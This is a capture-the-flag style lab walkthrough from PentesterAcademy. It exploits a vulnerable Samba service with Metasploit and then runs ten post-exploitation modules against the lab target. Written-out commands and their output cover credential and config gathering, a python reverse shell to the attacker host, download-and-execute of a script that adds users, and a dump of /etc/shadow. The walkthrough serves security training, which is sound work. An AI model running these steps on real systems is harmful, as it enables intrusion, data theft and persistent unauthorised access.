

**ATTACK**

**DEFENSE**

by PentesterAcademy

<b>Name</b>	Post Exploitation Lab I
<b>URL</b>	<a href="https://www.attackdefense.com/challengedetails?cid=194">https://www.attackdefense.com/challengedetails?cid=194</a>
<b>Type</b>	Metasploit: Post Modules

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

In this lab, we are going to run following post exploitation modules on the target machine which is running a vulnerable file sharing service.

1. post/linux/gather/enum\_configs
2. post/multi/gather/env
3. post/linux/gather/enum\_network
4. post/linux/gather/enum\_protections
5. post/linux/gather/enum\_system
6. post/linux/gather/checkcontainer
7. post/linux/gather/checkvm
8. post/linux/gather/enum\_users\_history
9. post/multi/manage/system\_session
10. post/linux/manage/download\_exec

**Step 1:** Run an Nmap scan against the target IP.

Command: `nmap -sS -sV -p- 192.162.5.3`

```
root@attackdefense:~# nmap -sS -sV -p- 192.162.5.3
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-06 06:02 UTC
Nmap scan report for jp14z6qtuz5k3nwkqj9ib871.temp-network_a-162-5 (192.162.5.3)
Host is up (0.000012s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE VERSION
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 02:42:C0:A2:05:03 (Unknown)
Service Info: Host: VICTIM-1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.77 seconds
root@attackdefense:~#
```

**Step 2:** The target machine can be exploited by using `exploit/linux/samba/is_known_pipename` module.

Command:

```
use exploit/linux/samba/is_known_pipename
set RHOST 192.162.5.3
check
exploit -z
```

```
msf5 > use exploit/linux/samba/is_known_pipename
msf5 exploit(linux/samba/is_known_pipename) > set RHOST 192.162.5.3
RHOST => 192.162.5.3
msf5 exploit(linux/samba/is_known_pipename) > check

[+] 192.162.5.3:445 - Samba version 4.1.17 found with writeable share 'exploitable'
[*] 192.162.5.3:445 The target appears to be vulnerable.
msf5 exploit(linux/samba/is_known_pipename) > █
```

```
msf5 > use exploit/linux/samba/is_known_pipename
msf5 exploit(linux/samba/is_known_pipename) > set RHOST 192.162.5.3
RHOST => 192.162.5.3
msf5 exploit(linux/samba/is_known_pipename) > exploit

[*] 192.162.5.3:445 - Using location \\192.162.5.3\exploitable\tmp for the path
[*] 192.162.5.3:445 - Retrieving the remote path of the share 'exploitable'
[*] 192.162.5.3:445 - Share 'exploitable' has server-side path '/'
[*] 192.162.5.3:445 - Uploaded payload to \\192.162.5.3\exploitable\tmp\OWXMRwgt.so
[*] 192.162.5.3:445 - Loading the payload from server-side path /tmp/OWXMRwgt.so using \\PIPE\tmp\OWXMRwgt.so...
[-] 192.162.5.3:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 192.162.5.3:445 - Loading the payload from server-side path /tmp/OWXMRwgt.so using /tmp/OWXMRwgt.so...
[+] 192.162.5.3:445 - Probe response indicates the interactive payload was loaded...
[*] Found shell.
[*] Command shell session 1 opened (192.162.5.2:43571 -> 192.162.5.3:445) at 2018-11-06 06:09:55 +0000

whoami
root
```

**Module 1:** `post/linux/gather/enum_configs`

Link: [https://www.rapid7.com/db/modules/post/linux/gather/enum\\_configs](https://www.rapid7.com/db/modules/post/linux/gather/enum_configs)

Command:

```
use post/linux/gather/enum_configs
set SESSION 1
run
```

```
msf5 > use post/linux/gather/enum_configs
msf5 post(linux/gather/enum_configs) > set SESSION 1
SESSION => 1
msf5 post(linux/gather/enum_configs) > run

[!] SESSION may not be compatible with this module.
[*] Running module against victim-1
[*] Info:
[*]   Debian GNU/Linux 8
[*]   Linux victim-1 4.15.0-38-generic #41-Ubuntu SMP Wed Oct 10 10:59:38 UTC 2018 x86_64 GNU/Linux
[+] shells stored in /root/.msf4/loot/20181106061155_default_192.162.5.3_linux.enum.conf_820975.txt
[+] sepermit.conf stored in /root/.msf4/loot/20181106061155_default_192.162.5.3_linux.enum.conf_674012.txt
[+] ca-certificates.conf stored in /root/.msf4/loot/20181106061155_default_192.162.5.3_linux.enum.conf_386794.txt
[+] access.conf stored in /root/.msf4/loot/20181106061155_default_192.162.5.3_linux.enum.conf_418006.txt
[+] rpc stored in /root/.msf4/loot/20181106061156_default_192.162.5.3_linux.enum.conf_010231.txt
[+] ldap.conf stored in /root/.msf4/loot/20181106061156_default_192.162.5.3_linux.enum.conf_531173.txt
[+] sysctl.conf stored in /root/.msf4/loot/20181106061156_default_192.162.5.3_linux.enum.conf_836800.txt
[*] Post module execution completed
msf5 post(linux/gather/enum_configs) > █
```

## Module 2: post/multi/gather/env

Link: <https://www.rapid7.com/db/modules/post/multi/gather/env>

Command:

use post/multi/gather/env

set SESSION 1

run

```
msf5 > use post/multi/gather/env
msf5 post(multi/gather/env) > set SESSION 1
SESSION => 1
msf5 post(multi/gather/env) > run

[!] SESSION may not be compatible with this module.
PWD=/tmp
[*] Post module execution completed
msf5 post(multi/gather/env) > █
```

## Module 3: post/linux/gather/enum\_network

Link: [https://www.rapid7.com/db/modules/post/linux/gather/enum\\_network](https://www.rapid7.com/db/modules/post/linux/gather/enum_network)

Command:

use post/linux/gather/enum\_network

set SESSION 1

run

```
msf5 > use post/linux/gather/enum_network
msf5 post(linux/gather/enum_network) > set SESSION 1
SESSION => 1
msf5 post(linux/gather/enum_network) > run

[!] SESSION may not be compatible with this module.
[*] Running module against victim-1
[*] Module running as root
[+] Info:
[+]   Debian GNU/Linux 8
[+]   Linux victim-1 4.15.0-38-generic #41-Ubuntu SMP Wed Oct 10 10:59:38 UTC 2018 x86_64 GNU/Linux
[*] Collecting data...
[-] Unable to get data for Network config
[-] Unable to get data for Route table
[+] Firewall config stored in /root/.msf4/loot/20181106061523_default_192.162.5.3_linux.enum.netwo_551170.txt
[+] DNS config stored in /root/.msf4/loot/20181106061523_default_192.162.5.3_linux.enum.netwo_183878.txt
[+] SSHD config stored in /root/.msf4/loot/20181106061523_default_192.162.5.3_linux.enum.netwo_611514.txt
[+] Host file stored in /root/.msf4/loot/20181106061523_default_192.162.5.3_linux.enum.netwo_127741.txt
[+] SSH keys stored in /root/.msf4/loot/20181106061523_default_192.162.5.3_linux.enum.netwo_122910.txt
[-] Unable to get data for Active connections
[-] Unable to get data for Wireless information
[-] Unable to get data for Listening ports
[+] If-Up/If-Down stored in /root/.msf4/loot/20181106061523_default_192.162.5.3_linux.enum.netwo_765052.txt
[*] Post module execution completed
msf5 post(linux/gather/enum_network) > █
```

## Module 4: post/linux/gather/enum\_protections

Link: [https://www.rapid7.com/db/modules/post/linux/gather/enum\\_protections](https://www.rapid7.com/db/modules/post/linux/gather/enum_protections)

Command:  
use post/linux/gather/enum\_protections  
set SESSION 1  
run

```
msf5 > use post/linux/gather/enum_protections
msf5 post(linux/gather/enum_protections) > set SESSION 1
SESSION => 1
msf5 post(linux/gather/enum_protections) > run

[!] SESSION may not be compatible with this module.
[*] Running module against 192.162.5.3 [victim-1]
[*] Info:
[*]   Debian GNU/Linux 8
[*]   Linux victim-1 4.15.0-38-generic #41-Ubuntu SMP Wed Oct 10 10:59:38 UTC 2018 x86_64 GNU/Linux
[*] Finding installed applications...
[+] iptables found: /sbin/iptables
[+] tcpdump found: /usr/sbin/tcpdump
[+] wireshark found: /usr/bin/wireshark
[*] Installed applications saved to notes.
[*] Post module execution completed
msf5 post(linux/gather/enum_protections) > █
```

## Module 5: post/linux/gather/enum\_system

Link: [https://www.rapid7.com/db/modules/post/linux/gather/enum\\_system](https://www.rapid7.com/db/modules/post/linux/gather/enum_system)

Command:  
use post/linux/gather/enum\_system  
set SESSION 1  
run

```
msf5 > use post/linux/gather/enum_system
msf5 post(linux/gather/enum_system) > set SESSION 1
SESSION => 1
msf5 post(linux/gather/enum_system) > run

[!] SESSION may not be compatible with this module.
[+] Info:
[+]   Debian GNU/Linux 8
[+]   Linux victim-1 4.15.0-38-generic #41-Ubuntu SMP Wed Oct 10 10:59:38 UTC 2018 x86_64 GNU/Linux
[+]   Module running as "root" user
[*] Linux version stored in /root/.msf4/loot/20181106061818_default_192.162.5.3_linux.enum.syste_216064.txt
[*] User accounts stored in /root/.msf4/loot/20181106061818_default_192.162.5.3_linux.enum.syste_243078.txt
[*] Installed Packages stored in /root/.msf4/loot/20181106061818_default_192.162.5.3_linux.enum.syste_659186.txt
[*] Running Services stored in /root/.msf4/loot/20181106061818_default_192.162.5.3_linux.enum.syste_718668.txt
[*] Cron jobs stored in /root/.msf4/loot/20181106061818_default_192.162.5.3_linux.enum.syste_015664.txt
[*] Disk info stored in /root/.msf4/loot/20181106061818_default_192.162.5.3_linux.enum.syste_469432.txt
[*] Logfiles stored in /root/.msf4/loot/20181106061818_default_192.162.5.3_linux.enum.syste_724980.txt
[*] Setuid/setgid files stored in /root/.msf4/loot/20181106061818_default_192.162.5.3_linux.enum.syste_643969.txt
[*] Post module execution completed
msf5 post(linux/gather/enum_system) > █
```

## Module 6: post/linux/gather/checkcontainer

Link: <https://www.rapid7.com/db/modules/post/linux/gather/checkcontainer>

Command:  
use post/linux/gather/checkcontainer  
set SESSION 1  
run



```
msf5 > use post/linux/gather/checkcontainer
msf5 post(linux/gather/checkcontainer) > set SESSION 1
SESSION => 1
msf5 post(linux/gather/checkcontainer) > run

[!] SESSION may not be compatible with this module.
[+] This appears to be a 'Docker' container
[*] Post module execution completed
msf5 post(linux/gather/checkcontainer) > █
```

### Module 7: post/linux/gather/checkvm

Link: <https://www.rapid7.com/db/modules/post/linux/gather/checkvm>

Command:

use post/linux/gather/checkvm

set SESSION 1

run

```
msf5 > use post/linux/gather/checkvm
msf5 post(linux/gather/checkvm) > set SESSION 1
SESSION => 1
msf5 post(linux/gather/checkvm) > run

[!] SESSION may not be compatible with this module.
[*] Gathering System info ....
[+] This appears to be a 'Xen' virtual machine
[*] Post module execution completed
msf5 post(linux/gather/checkvm) > █
```

### Module 8: post/linux/gather/enum\_users\_history

Link: [https://www.rapid7.com/db/modules/post/linux/gather/enum\\_users\\_history](https://www.rapid7.com/db/modules/post/linux/gather/enum_users_history)

Command:

use post/linux/gather/enum\_users\_history

set SESSION 1

run

```
msf5 > use post/linux/gather/enum_users_history
msf5 post(linux/gather/enum_users_history) > set SESSION 1
SESSION => 1
msf5 post(linux/gather/enum_users_history) > run

[!] SESSION may not be compatible with this module.
[+] Info:
[+] Debian GNU/Linux 8
[+] Linux victim-1 4.15.0-38-generic #41-Ubuntu SMP Wed Oct 10 10:59:38 UTC 2018 x86_64 GNU/Linux
[+] Last logs stored in /root/.msf4/loot/20181106062441_default_192.162.5.3_linux.enum.users_672187.txt
[+] Sudoers stored in /root/.msf4/loot/20181106062441_default_192.162.5.3_linux.enum.users_582170.txt
[*] Post module execution completed
msf5 post(linux/gather/enum_users_history) > █
```

### Module 9: post/multi/manage/system\_session

Link: [https://www.rapid7.com/db/modules/post/multi/manage/system\\_session](https://www.rapid7.com/db/modules/post/multi/manage/system_session)

Command:  
use post/multi/manage/system\_session  
set SESSION 1  
set TYPE python  
set HANDLER true  
set LHOST 192.162.5.2  
run

```
msf5 > use post/multi/manage/system_session
msf5 post(multi/manage/system_session) > set SESSION 1
SESSION => 1
msf5 post(multi/manage/system_session) > set TYPE python
TYPE => python
msf5 post(multi/manage/system_session) > set HANDLER true
HANDLER => true
msf5 post(multi/manage/system_session) > set LHOST 192.162.5.2
LHOST => 192.162.5.2
msf5 post(multi/manage/system_session) > run

[*] Starting exploit/multi/handler
[*] Python reverse shell selected
[*] Executing reverse tcp shell to 192.162.5.2 on port 4433
[*] Started reverse TCP handler on 192.162.5.2:4433
[*] Post module execution completed
msf5 post(multi/manage/system_session) > [*] Command shell session 2 opened (192.162.5.2:4433 -> 192.162.5.3:41772) at 2018-11-06 06:30:39 +0000

msf5 post(multi/manage/system_session) > sessions

Active sessions
=====

```

Id	Name	Type	Information	Connection
1	----	----	-----	-----
1		shell	cmd/unix	192.162.5.2:43571 -> 192.162.5.3:445 (192.162.5.3)
2		shell	sparc/bsd /bin/sh: 0: can't access tty; job control turned off #	192.162.5.2:4433 -> 192.162.5.3:41772 (192.162.5.3)

```
msf5 post(multi/manage/system_session) > 
```

Now, let's create a bash file which will create a user on the target machine by uploading a test.sh file and execute it.

```
root@attackdefense:~# cat test.sh
useradd hacker
useradd test
useradd nick
root@attackdefense:~# 
```

Now, let's run the apache server on the attacker's machine and copy test.sh file in the root folder.

```
root@attackdefense:~# /etc/init.d/apache2 start
[ ok ] Starting Apache httpd web server: apache2.
root@attackdefense:~# cp test.sh /var/www/html/
root@attackdefense:~# 
```

Now, let's use download and exec post exploitation module on the target machine.

**Module 10:** post/linux/manage/download\_exec

Link: [https://www.rapid7.com/db/modules/post/linux/manage/download\\_exec](https://www.rapid7.com/db/modules/post/linux/manage/download_exec)

Command:

use post/linux/manage/download\_exec

set URL <http://192.162.5.2/test.sh>

set SESSION 1

run

```
msf5 > use post/linux/manage/download_exec
msf5 post(linux/manage/download_exec) > set URL http://192.162.5.2/test.sh
URL => http://192.162.5.2/test.sh
msf5 post(linux/manage/download_exec) > set SESSION 1
SESSION => 1
msf5 post(linux/manage/download_exec) > run

[!] SESSION may not be compatible with this module.
[*] Checking if curl exists in the path...
[+] curl available, using it
[*] Checking if bash exists in the path...
[+] bash available, using it
[*] Post module execution completed
msf5 post(linux/manage/download_exec) > █
```

Let's verify it by interacting with the session.



```
msf5 post(linux/manage/download_exec) > sessions -i 1
[*] Starting interaction with 1...

cat /etc/shadow
root:*:17774:0:99999:7:::
daemon:*:17774:0:99999:7:::
bin:*:17774:0:99999:7:::
sys:*:17774:0:99999:7:::
sync:*:17774:0:99999:7:::
games:*:17774:0:99999:7:::
man:*:17774:0:99999:7:::
lp:*:17774:0:99999:7:::
mail:*:17774:0:99999:7:::
news:*:17774:0:99999:7:::
uucp:*:17774:0:99999:7:::
proxy:*:17774:0:99999:7:::
www-data:*:17774:0:99999:7:::
backup:*:17774:0:99999:7:::
list:*:17774:0:99999:7:::
irc:*:17774:0:99999:7:::
gnats:*:17774:0:99999:7:::
nobody:*:17774:0:99999:7:::
systemd-timesync:*:17774:0:99999:7:::
systemd-network:*:17774:0:99999:7:::
systemd-resolve:*:17774:0:99999:7:::
systemd-bus-proxy:*:17774:0:99999:7:::
messagebus:*:17812:0:99999:7:::
colord:*:17812:0:99999:7:::
saned:*:17812:0:99999:7:::
usbmux:*:17812:0:99999:7:::
hacker!:17841:0:99999:7:::
test!:17841:0:99999:7:::
nick!:17841:0:99999:7:::
```

## References

1. Post Exploitation (<https://metasploit.help.rapid7.com/docs/metasploit-basics#section-post-exploitation-module>)